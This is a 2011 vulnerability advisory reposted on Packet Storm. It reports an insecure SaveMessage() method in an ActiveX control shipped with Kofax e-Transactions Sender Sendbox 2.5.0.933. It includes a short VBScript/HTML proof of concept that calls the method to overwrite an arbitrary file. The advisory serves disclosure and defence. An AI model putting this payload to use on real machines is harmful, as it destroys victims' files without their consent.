Kofax 2.5.0.933 File Overwrite

🗓️ 24 Jun 2011 00:00:00Reported by High-Tech Bridge SAType

packetstorm🔗 packetstormsecurity.com👁 22 Views

Kofax e-Transactions Sender Sendbox 2.5.0.933 File Overwrite Vulnerabilit

`Vulnerability ID: HTB23016  
Reference: http://www.htbridge.ch/advisory/kofax_e_transactions_sender_sendbox_activex_control_savemessage_insecure_method.html  
Product: Kofax e-Transactions Sender Sendbox  
Vendor: Kofax, Inc ( http://www.kofax.com/ )   
Vulnerable Version: 2.5.0.933 and probably prior  
Tested on: 2.5.0.933  
Vendor Notification: 01 June 2011   
Vulnerability Type: ActiveX Control Insecure Method  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in Kofax e-Transactions Sender Sendbox, which can be exploited to overwrite arbitrary files.  
  
The vulnerability is caused due to the LEADeMail.LEADSmtp.20 (LTCML14n.dll (14.0.0.34)) ActiveX control including the insecure "SaveMessage()" method. This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user.  
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:0014085F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\Filename_to_overwrite"  
arg2=True  
target.SaveMessage arg1 ,arg2  
End Sub  
  
</script>  
</html>   
  
  
  
`

24 Jun 2011 00:00Current

0.3Low risk

Vulners AI Score0.3